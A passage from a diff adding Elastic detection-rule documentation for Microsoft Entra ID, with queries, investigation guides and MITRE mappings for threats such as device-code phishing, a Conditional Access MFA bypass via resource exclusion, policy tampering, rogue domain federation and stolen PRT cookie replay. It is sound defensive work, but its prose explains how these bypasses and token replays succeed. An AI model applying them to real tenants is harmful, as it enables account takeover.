non-threatening patterns. + + +*Response and remediation* + + +- Immediately revoke the unauthorized credentials by accessing the Azure portal and removing any suspicious certificates or secret strings associated with the affected application. +- Conduct a thorough review of the application's access logs to identify any unauthorized access or actions performed using the compromised credentials. +- Reset and update all legitimate credentials for the affected application to ensure no further unauthorized access can occur. +- Notify the security team and relevant stakeholders about the incident, providing details of the unauthorized credential modification and any potential impact. +- Implement additional monitoring on the affected application to detect any further unauthorized changes or access attempts. +- Review and tighten access controls and permissions for managing application credentials to prevent unauthorized modifications in the future. +- If necessary, escalate the incident to higher-level security management or external cybersecurity experts for further investigation and response. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and azure.auditlogs.operation_name:"Update application - Certificates and secrets management" and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Credentials +** ID: T1098.001 +** Reference URL: https://attack.mitre.org/techniques/T1098/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc new file mode 100644 index 0000000000..3412532575 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-concurrent-sign-in-with-suspicious-properties.asciidoc @@ -0,0 +1,207 @@ +[[prebuilt-rule-8-19-34-entra-id-concurrent-sign-in-with-suspicious-properties]] +=== Entra ID Concurrent Sign-in with Suspicious Properties + +Identifies concurrent azure signin events for the same user and from multiple sources, and where one of the authentication event has some suspicious properties often associated to DeviceCode and OAuth phishing. Adversaries may steal Refresh Tokens (RTs) via phishing to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-60m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-In +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Threat: AiTM Phishing +* Rule Type: ES|QL +* Platform: Entra ID +* Domain: Identity + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Concurrent Sign-in with Suspicious Properties* + + + +*Possible investigation steps* + + +- Review the sign-in logs to assess the context and reputation of the source.ip address. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + + +*Required Azure Entra Sign-In Logs* + +This rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +// Scheduled to run every hour, reviewing events from past hour +| where + @timestamp > now() - 1 hours + and data_stream.dataset == "azure.signinlogs" + and source.ip is not null + and azure.signinlogs.identity is not null + and to_lower(event.outcome) == "success" + +// keep relevant raw fields +| keep + @timestamp, + azure.signinlogs.identity, + source.ip, + azure.signinlogs.properties.authentication_requirement, + azure.signinlogs.properties.app_id, + azure.signinlogs.properties.resource_display_name, + azure.signinlogs.properties.authentication_protocol, + azure.signinlogs.properties.app_display_name + +// case classifications for identity usage +| eval + Esql.azure_signinlogs_properties_authentication_device_code_case = case( + azure.signinlogs.properties.authentication_protocol == "deviceCode" + and azure.signinlogs.properties.authentication_requirement != "multiFactorAuthentication", + azure.signinlogs.identity, + null), + + Esql.azure_signinlogs_auth_visual_studio_case = case( + azure.signinlogs.properties.app_id == "aebc6443-996d-45c2-90f0-388ff96faa56" + and azure.signinlogs.properties.resource_display_name == "Microsoft Graph", + azure.signinlogs.identity, + null), + + Esql.azure_signinlogs_auth_other_case = case( + azure.signinlogs.properties.authentication_protocol != "deviceCode" + and azure.signinlogs.properties.app_id != "aebc6443-996d-45c2-90f0-388ff96faa56", + azure.signinlogs.identity, + null) + +// Aggregate metrics by user identity +| stats + Esql.event_count = count(*), + Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct = count_distinct(Esql.azure_signinlogs_properties_authentication_device_code_case), + Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct = count_distinct(Esql.azure_signinlogs_auth_visual_studio_case), + Esql.azure_signinlogs_properties_auth_other_count_distinct = count_distinct(Esql.azure_signinlogs_auth_other_case), + Esql.azure_signinlogs_properties_source_ip_count_distinct = count_distinct(source.ip), + Esql.azure_signinlogs_properties_source_ip_values = values(source.ip), + Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement) + by azure.signinlogs.identity + +// Detect multiple unique IPs for one user with signs of deviceCode or VSC OAuth usage +| where + Esql.azure_signinlogs_properties_source_ip_count_distinct >= 2 + and ( + Esql.azure_signinlogs_properties_authentication_device_code_case_count_distinct > 0 + or Esql.azure_signinlogs_properties_auth_visual_studio_count_distinct > 0 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc new file mode 100644 index 0000000000..fe2b8aeb9c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-entra-id-conditional-access-mfa-bypass-with-unusual-user-client-and-source-asn]] +=== Entra ID Conditional Access MFA Bypass with Unusual User, Client and Source ASN + +Identifies the first observed instance of a Microsoft first-party public client application acquiring a Microsoft Graph token using single-factor (password-only) authentication while an MFA Conditional Access grant control went unenforced, for a given user, application, and source autonomous system (ASN). This pattern is associated with the Conditional Access "resource exclusion" bypass: when a tenant's "all resources" Conditional Access policy contains at least one application exclusion, Entra ID issues tokens for low-privilege baseline scopes (User.Read, openid, profile, email) to any resource, including Microsoft Graph, without enforcing the policy's grant controls (such as MFA). An adversary holding only a stolen password can therefore obtain a Graph token through a trusted first-party public client (for example, Microsoft Bing Search) and enumerate directory objects, even though the tenant requires MFA. Critically, the overall conditional_access_status is never "failure" for this technique (the sign-in is not blocked); it is reported as "success" or "notApplied" depending on what other policies exist in the tenant, so detections that key on Conditional Access failures will not observe it. The reliable fingerprint is in the per-policy results: a policy whose enforced grant control is MFA reports a result of "notApplied" for this sign-in, meaning the MFA requirement was silently not enforced while the single-factor, password-only sign-in still succeeded. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/bypassing-conditional-access-with-resource-exclusion/ +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: New Terms +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Conditional Access MFA Bypass with Unusual User, Client and Source ASN* + + +This rule fires the first time a user signs in to Microsoft Graph through a Microsoft first-party app using single-factor, password-only authentication, keyed on the user, app, and source ASN within the history window. First-party apps are matched by their owner tenant (`app_owner_tenant_id` `f8cdef31-a31e-4b4a-93e4-5f571e91255a`) instead of a fixed client ID list, so switching to a different first-party client does not get around the detection. The password-only form of this bypass depends on first-party apps: they are pre-consented in every tenant and cannot be blocked, so a stolen password is enough to use one. A third-party or confidential client would mean the attacker already controls an app in the tenant, which is a different scenario. + +The behavior comes from the Conditional Access resource-exclusion bypass. If an "all resources" CA policy excludes even one application, Entra ID issues tokens for baseline scopes (User.Read, openid, profile, email) to Microsoft Graph without applying the policy's grant controls, so MFA is skipped. Default directory permissions then let that `User.Read` token read groups, service principals, directory roles, and devices. + +Do not read too much into the top-level `azure.signinlogs.properties.conditional_access_status` here. It shows `success` or `notApplied` (never `failure`, since the sign-in is not blocked), and which one you see depends on the other policies in the tenant. The useful evidence is in `azure.signinlogs.properties.applied_conditional_access_policies`: an MFA grant control (`enforced_grant_controls` of `Mfa`) that came back `notApplied` on a sign-in that was still single-factor and password-based. That is what the query keys on. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the user and whether they hold privileged roles or are otherwise a high-value target. +- Confirm the client via `azure.signinlogs.properties.app_display_name` and `azure.signinlogs.properties.app_id`. End-user authentication of clients such as Microsoft Bing Search to Microsoft Graph is uncommon and warrants scrutiny; everyday clients (Microsoft Teams, OneDrive, Outlook Mobile) are far more likely to be benign. +- Examine `source.ip`, `source.as.number`, `source.as.organization.name`, and `source.geo.*` for hosting-provider or geographic anomalies inconsistent with the user's normal sign-in locations. +- Inspect `azure.signinlogs.properties.applied_conditional_access_policies` for the sign-in. A policy with `enforced_grant_controls` of `Mfa` and a `result` of `notApplied`, on a `singleFactorAuthentication` / `Password` sign-in, means the MFA grant control was present but not enforced. Note the aggregate `conditional_access_status` may read `success` or `notApplied` and is not by itself indicative. +- Review whether the tenant has an "all resources" Conditional Access policy with one or more application exclusions, which is the configuration that enables this bypass. +- Pivot to `logs-azure.graphactivitylogs-*` for the same `user_principal_object_id` and `app_id` to identify directory enumeration (requests to `/groups`, `/servicePrincipals`, `/directoryRoles`, `/devices`, `/users`) shortly after the sign-in. +- Correlate using `azure.signinlogs.properties.session_id` to reconstruct the full token-acquisition sequence, including any non-interactive token redemption. + + +*False positive analysis* + + +- Everyday first-party public clients (Microsoft Teams, OneDrive, Outlook Mobile, Microsoft 365 Copilot, Microsoft To-Do, Edge, Windows Search) legitimately acquire Microsoft Graph tokens with single-factor authentication, particularly when MFA was already satisfied earlier in the session or no MFA policy applies to that application. Expect benign first-time `(user, app, ASN)` combinations, especially during onboarding or first use of a tool. +- Users signing in from a new network (travel, VPN, new ISP) will present a new ASN and may trigger the New Terms condition once. +- In tenants with broad MFA Conditional Access policies, those policies can legitimately report `notApplied` for single-factor sign-ins that are genuinely out of policy scope (for example, sign-ins from a trusted named location or an app excluded from the policy). The `applied_conditional_access_policies` condition therefore sharpens, but does not perfectly isolate, the bypass; corroborate with the application identity and source. +- The rule scopes to all Microsoft first-party applications via `app_owner_tenant_id` rather than a fixed client ID list, so it covers every first-party public client but is correspondingly broad. New Terms on `(user, app_id, ASN)` limits this to first-occurrence events; consider allowlisting expected `(user, app)` pairs, or specific high-volume everyday first-party apps, to further reduce volume. +- Tune by excluding known developer or automation identities that routinely use these clients against Microsoft Graph. + + +*Response and remediation* + + +- Contact the user to confirm whether they initiated the sign-in and used the detected application. +- If unauthorized, revoke the user's refresh tokens and require password reset and MFA re-registration. +- Review `logs-azure.graphactivitylogs-*` for directory enumeration or data access performed with the issued token. +- Remediate the enabling configuration: review "all resources" Conditional Access policies for application exclusions, and enable strict baseline-scope enforcement so baseline scopes do not bypass grant controls. +- Block the source IP or ASN if confirmed malicious. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.signinlogs" and +event.outcome: "success" and +azure.signinlogs.properties.user_type: "Member" and +azure.signinlogs.properties.authentication_requirement: "singleFactorAuthentication" and +azure.signinlogs.properties.conditional_access_status: ("success" or "notApplied") and +azure.signinlogs.properties.authentication_details.authentication_method: "Password" and +azure.signinlogs.properties.applied_conditional_access_policies.enforced_grant_controls: "Mfa" and +azure.signinlogs.properties.applied_conditional_access_policies.result: "notApplied" and +( + azure.signinlogs.properties.resource_id: "00000003-0000-0000-c000-000000000000" or + azure.signinlogs.properties.resource_display_name: "Microsoft Graph" +) and +azure.signinlogs.properties.app_owner_tenant_id: "f8cdef31-a31e-4b4a-93e4-5f571e91255a" and +azure.signinlogs.properties.user_principal_name: * and +azure.signinlogs.properties.app_id: * and +source.as.number: * + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-conditional-access-policy-cap-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-conditional-access-policy-cap-modified.asciidoc new file mode 100644 index 0000000000..013ac4dde7 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-conditional-access-policy-cap-modified.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-entra-id-conditional-access-policy-cap-modified]] +=== Entra ID Conditional Access Policy (CAP) Modified + +Identifies a modification to a conditional access policy (CAP) in Microsoft Entra ID. Adversaries may modify existing CAPs to loosen access controls and maintain persistence in the environment with a compromised identity or entity. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/overview +* https://www.rezonate.io/blog/microsoft-entra-id-the-complete-guide-to-conditional-access-policies/ + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Profile: Recommended +* Rule Type: New Terms +* Platform: Entra ID +* Domain: Identity + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigation Guide: Microsoft Entra ID Conditional Access Policy (CAP) Modified* + + +Azure Conditional Access Policies (CAPs) are critical for enforcing secure access requirements such as multi-factor authentication (MFA), restricting specific users or groups, and managing sign-in conditions. Modifying these policies can be a technique for weakening an organization’s defenses and maintaining persistence after initial access. + +This rule detects a successful update to a Conditional Access Policy in Microsoft Entra ID (formerly Azure AD). + + +*Possible Investigation Steps* + + +- **Identify the user who modified the policy:** + - Check the value of `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to determine the identity that made the change. + - Investigate their recent activity to determine if this change was expected or authorized. + +- **Review the modified policy name:** + - Look at `azure.auditlogs.properties.target_resources.*.display_name` to find the name of the affected policy. + - Determine whether this policy is related to critical controls (e.g., requiring MFA for admins). + +- **Analyze the policy change:** + - Compare the `old_value` and `new_value` fields under `azure.auditlogs.properties.target_resources.*.modified_properties.*`. + - Look for security-reducing changes, such as: + - Removing users/groups from enforcement. + - Disabling MFA or risk-based conditions. + - Introducing exclusions that reduce the policy’s coverage. + +- **Correlate with other activity:** + - Pivot on `azure.auditlogs.properties.activity_datetime` to identify if any suspicious sign-ins occurred after the policy was modified. + - Check for related authentication logs, particularly from the same IP address (`azure.auditlogs.properties.initiated_by.user.ipAddress`). + +- **Assess the user's legitimacy:** + - Review the initiator’s Azure role, group memberships, and whether their account was recently elevated or compromised. + - Investigate whether this user has a history of modifying policies or if this is anomalous. + + +*Validation & False Positive Considerations* + + +- **Authorized administrative changes:** Some organizations routinely update CAPs as part of policy tuning or role-based access reviews. +- **Security reviews or automation:** Scripts, CI/CD processes, or third-party compliance tools may programmatically update CAPs. +- **Employee lifecycle events:** Policy changes during employee onboarding/offboarding may include updates to access policies. + +If any of these cases apply and align with the activity's context, consider tuning the rule or adding exceptions for expected patterns. + + +*Response & Remediation* + + +- Revert unauthorized or insecure changes to the Conditional Access Policy immediately. +- Temporarily increase monitoring of CAP modifications and sign-in attempts. +- Lock or reset the credentials of the user account that made the change if compromise is suspected. +- Conduct a broader access review of conditional access policies and privileged user activity. +- Implement stricter change management and alerting around CAP changes. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" + and event.action:"Update conditional access policy" + and event.outcome: "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Conditional Access Policies +** ID: T1556.009 +** Reference URL: https://attack.mitre.org/techniques/T1556/009/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-custom-domain-added-or-verified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-custom-domain-added-or-verified.asciidoc new file mode 100644 index 0000000000..77d5eb2f9e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-custom-domain-added-or-verified.asciidoc @@ -0,0 +1,138 @@ +[[prebuilt-rule-8-19-34-entra-id-custom-domain-added-or-verified]] +=== Entra ID Custom Domain Added or Verified + +Detects when a custom domain is added or verified in an Entra ID tenant. Adding and verifying a custom domain are precursor steps to configuring domain federation, which can be abused by adversaries to route authentication through an attacker-controlled identity provider (Golden SAML). In most organizations, custom domains are added infrequently and these events should be investigated to ensure they are part of a legitimate administrative workflow. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.auditlogs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://cloud.google.com/blog/topics/threat-intelligence/unc2452-merged-into-apt29 +* https://learn.microsoft.com/en-us/graph/api/domain-post-domains +* https://learn.microsoft.com/en-us/graph/api/domain-verify +* https://medium.com/tenable-techblog/roles-allowing-to-abuse-entra-id-federation-for-persistence-and-privilege-escalation-df9ca6e58360 +* https://securitylabs.datadoghq.com/articles/i-spy-escalating-to-entra-id-global-admin/ + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Discovery +* Tactic: Resource Development +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Custom Domain Added or Verified* + + +This rule detects when a custom domain is added or verified in an Entra ID tenant. These are precursor steps required before an adversary can configure domain federation. While adding and verifying domains are legitimate administrative activities, they are infrequent in most organizations. When observed without a corresponding change request or IT workflow, they may indicate the early stages of a Golden SAML or BYOIDP (Bring Your Own Identity Provider) attack. + +While adding and verifying domains are legitimate administrative activities, they are infrequent in most organizations. When observed without a corresponding change request or IT workflow, they may indicate the early stages of a Golden SAML or BYOIDP (Bring Your Own Identity Provider) attack. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` and `ipAddress` to identify who performed the action and from where. +- For `"Add unverified domain"` events, check `azure.auditlogs.properties.target_resources.0.display_name` for the domain name that was added. +- Determine whether the domain is known to the organization or is potentially adversary-controlled. +- Check if a corresponding `"Verify domain"` event follows shortly after and from the same actor. +- Look for subsequent `"Set domain authentication"` or `"Set federation settings on domain"` events that would indicate the domain was federated — this escalates the severity significantly. +- Verify with the Global Administrator or IT team whether a domain addition was planned. +- Check DNS records for the domain to understand who owns it and when the verification TXT record was added. +- Review the `user_agent.original` field for the actor to determine if the change was made via the Azure Portal, Microsoft Graph API, or PowerShell, which may provide additional context on whether this was a manual or scripted action. + + +*False positive analysis* + + +- Legitimate domain additions during initial tenant setup, organizational expansion, or mergers and acquisitions. +- IT administrators adding domains for new email routing, SharePoint vanity URLs, or multi-domain configurations. +- Automated provisioning systems that manage domain lifecycle. +- Validate with the identity or IT team before dismissing these events. + + +*Response and remediation* + + +- If the domain addition is unauthorized, immediately remove the unverified or verified domain: `Remove-MgDomain -DomainId ""`. +- Investigate how the actor obtained privileges to add domains (requires Global Administrator or Domain Administrator role). +- Review the tenant for any other unauthorized changes made by the same actor using the `azure.correlation_id` or actor identity. +- If the domain was already federated, escalate to the response steps in the companion rule `Entra ID Domain Federation Configuration Change`. +- Restrict domain management operations by implementing PIM (Privileged Identity Management) for Global Administrator roles. + + +==== Setup + + + +*Microsoft Entra ID Audit Logs* + +This rule requires the Azure integration with Microsoft Entra ID Audit Logs data stream ingesting in your Elastic Stack deployment. For more information, refer to the https://www.elastic.co/docs/reference/integrations/azure/adlogs[Microsoft Entra ID Audit Logs integration documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: azure.auditlogs + and azure.auditlogs.properties.category: DirectoryManagement + and event.action: ("Add unverified domain" or "Verify domain") + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Compromise Infrastructure +** ID: T1584 +** Reference URL: https://attack.mitre.org/techniques/T1584/ +* Sub-technique: +** Name: Domains +** ID: T1584.001 +** Reference URL: https://attack.mitre.org/techniques/T1584/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-bound-prt-from-unusual-device-ip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-bound-prt-from-unusual-device-ip.asciidoc new file mode 100644 index 0000000000..d2208b27a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-device-bound-prt-from-unusual-device-ip.asciidoc @@ -0,0 +1,175 @@ +[[prebuilt-rule-8-19-34-entra-id-device-bound-prt-from-unusual-device-ip]] +=== Entra ID Device-Bound PRT from Unusual Device IP + +Detects a first-party FOCI tooling client (Azure CLI, PowerShell, VS Code, Graph CLI, Azure AD PowerShell, or Visual Studio) redeeming a device-bound Primary Refresh Token (PRT) for Microsoft Graph, SharePoint/OneDrive, or Exchange Online from a source IP that has not been seen with that deviceid. Replay events are limited to compliant or Intune-managed devices. Adversaries who steal a WAM PRT SSO cookie replay it off-box; the token keeps the workstation deviceid, so this pair is new even when Windows Sign-In for that device is outside a correlation window. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.armadin.com/blog-posts/prtremote-extract-prt-cookies-remotely-with-interactivetoken-scheduled-task +* https://github.com/armadin-public/PRTremote +* https://github.com/dmcxblue/ANIMO/blob/master/helpers/scripts/GrabTokenAzureAD/PrtExtractor.cs +* https://github.com/rvrsh3ll/TokenTactics +* https://github.com/Gerenios/AADInternals + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Use Case: Threat Detection +* Use Case: Identity and Access Audit +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Platform: Entra ID +* Tactic: Credential Access +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Rule Type: New Terms + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Device-Bound PRT from Unusual Device IP* + + +This rule fires when a tooling FOCI client redeems a device-bound PRT from a `source.ip` that has not appeared with that `device_id` in the prior 5 days. Unlike **Entra ID Device-Bound PRT Replay via First-Party App from Unusual IP**, it does not need a Windows Sign-In or WAM event in the same window — so a workstation that last signed in yesterday still alerts when the cookie is redeemed from a new address. + +PRTremote and similar harvest tools steal a WAM PRT SSO cookie and POST it from attacker infrastructure. The issued token keeps the *workstation* deviceid, so Conditional Access that requires a compliant device can succeed. Replay events must be `is_compliant` or `is_managed`. The stolen cookie nonce is typically valid for about five minutes; that is the attacker’s redeem window, not this rule’s history. + +This is not ConsentFix / OAuth-code phishing. Those flows show `OAuth2:Authorize` with `Redirect` and often lack a bound compliant device. + + +*Possible investigation steps* + + +- 